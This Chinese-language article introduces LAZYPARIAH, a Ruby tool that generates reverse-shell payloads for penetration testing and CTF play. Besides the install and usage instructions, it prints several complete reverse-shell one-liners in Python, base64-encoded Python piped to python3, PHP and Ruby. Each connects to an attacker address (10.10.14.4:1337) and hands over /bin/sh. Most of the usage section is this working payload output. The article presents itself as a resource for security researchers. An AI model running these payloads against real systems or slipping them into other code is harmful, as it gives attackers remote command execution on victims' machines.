关于LAZYPARIAH
LAZYPARIAH是一款功能强大的命令行工具,该工具依赖的组件并不多,但是却可以帮助广大研究人员在渗透测试过程中利用命令行接口实时生成反向Shell Payload。
LAZYPARIAH基于纯Ruby开发,是一款简单实用、易于安装且功能强大的命令行工具,该工具可以在渗透测试或CTF夺旗比赛过程中,实时生成大量反向Shell Payload。
LAZYPARIAH支持的反向Shell Payload包括但不限于下列形式:
1、C代码Payload(实时编译):c_binary 2、Ruby Payload:ruby、ruby_b64、ruby_hex、ruby_c 3、PowerShell Payload:powershell_c、powershell_b64 4、Base64编码Python Payload:python_b64 5、Rust代码Payload(实时编译):rust_binary 6、通过system()函数调用包含了Base64编码Python Payload的PHP脚本:php_system_python_b64 7、Java类(实时编译):java_class 8、Perl Payload:perl、perl_b64、perl_hex、perl_c 9、简单的PHP Payload(针对特定的文件描述符):php_fd、php_fd_c、php_fd_tags
工具依赖
Ruby >= 2.7.1 (LAZYPARIAH未在其他Ruby版本上进行过测试) OpenJDK (可选:仅java_class Payload需要) GCC (可选: 仅c_binary Payload需要) Rust (可选: 仅rust_binary Payload需要)
工具安装
广大研究人员可以直接使用下列命令将该工具源码克隆至本地:
代码语言:javascript复制git clone https://github.com/octetsplicer/LAZYPARIAH.git
除此之外,如果你使用的是GNU/Linux或BSD系统的话,也可以直接通过下列命令并使用Rubygems安装工具来安装LAZYPARIAH:
代码语言:javascript复制gem install lazypariah
工具使用
代码语言:javascript复制Usage: lazypariah [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>
Note: <ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.
Example: lazypariah -u python_b64 10.10.14.4 1555
Example: lazypariah python_c malicious.local 1337
Valid Payloads:
awk
bash_tcp
c_binary
java_class
nc
nc_openbsd
nc_pipe
nodejs
nodejs_b64
nodejs_c
nodejs_hex
perl
perl_b64
perl_c
perl_hex
php_fd
php_fd_c
php_fd_tags
php_system_python_b64
php_system_python_hex
php_system_python_ipv6_b64
php_system_python_ipv6_hex
powershell_b64
powershell_c
python
python_b64
python_c
python_hex
python_ipv6
python_ipv6_b64
python_ipv6_c
python_ipv6_hex
ruby
ruby_b64
ruby_c
ruby_hex
rust_binary
socat
Valid Options:
-h, --help 显示帮助信息和退出
-l, --license 显示许可证信息和退出
-u, --url 对Payload进行URL编码
-v, --version 显示版本信息和退出
-D, --fd INTEGER 指定目标TCP文件标识符
-P, --pv INTEGER 指定Payload的Python版本,必须为2或3
-N, --no-new-line 不在Payload结尾添加换行符
--b64 Base64编码c_binary、rust_binary或java_class
--hex 十六进制编码c_binary、rust_binary或java_class
--gzip 使用zlib压缩c_binary、rust_binary或java_class
--gzip_b64 使用zlib压缩c_binary、rust_binary或java_class,并对结果进行Base64编码
--gzip_hex 使用zlib压缩c_binary、rust_binary或java_class,并对结果进行十六进制编码
工具使用和注意事项
其中,以_c结尾的Payload可以在Shell会话中执行,有些Payload则需要使用相对应的解释器来执行。
例如,“lazypariah python_c 10.10.14.4 1337”命令将会生成下列输出:
代码语言:javascript复制python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
而“lazypariah python 10.10.14.4 1337”命令则只会输出一段可以写入.py文件的Python代码块:
代码语言:javascript复制import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
“lazypariah -P 3 -u python_b64 10.10.14.4 1337“命令的输出结果如下:
代码语言:javascript复制echo aW1wb3J0IHNvY2tldCxzdWJwcm*9jZXNzLG9zO3M*9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python3
“lazypariah -P 2 python_c 10.10.14.4 1337 “命令的输出结果如下:
代码语言:javascript复制python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
“lazypariah -D 3 php_fd_tags 10.10.14.4 1337“命令的输出结果如下:
代码语言:javascript复制<?php $sock=fsockopen("10.10.14.4",1337);exec("/bin/sh -i <&3 >&3 2>&3");?>
“lazypariah ruby 10.10.14.4 1337 “命令的输出结果如下:
代码语言:javascript复制require "socket";exit if fork;c=TCPSocket.new("10.10.14.4","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end
工具使用演示
许可证协议
本项目的开发与发布遵循GPL-3.0开源许可证协议。
项目地址
https://github.com/octetsplicer/LAZYPARIAH